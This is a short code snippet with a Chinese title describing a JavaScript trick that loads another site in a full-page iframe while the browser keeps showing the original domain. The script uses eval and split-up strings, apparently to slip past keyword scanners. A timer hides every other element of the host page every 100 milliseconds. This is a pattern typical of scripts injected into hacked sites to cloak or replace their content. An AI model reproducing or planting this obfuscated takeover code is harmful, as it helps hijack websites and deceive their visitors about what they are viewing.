JS使用iframe实现页面跳转保持域名不变
<script>
var ss = '<center id="showcloneshengxiaon"><iframe scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="8'+'50" src="http://www.baidu.com/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
</script>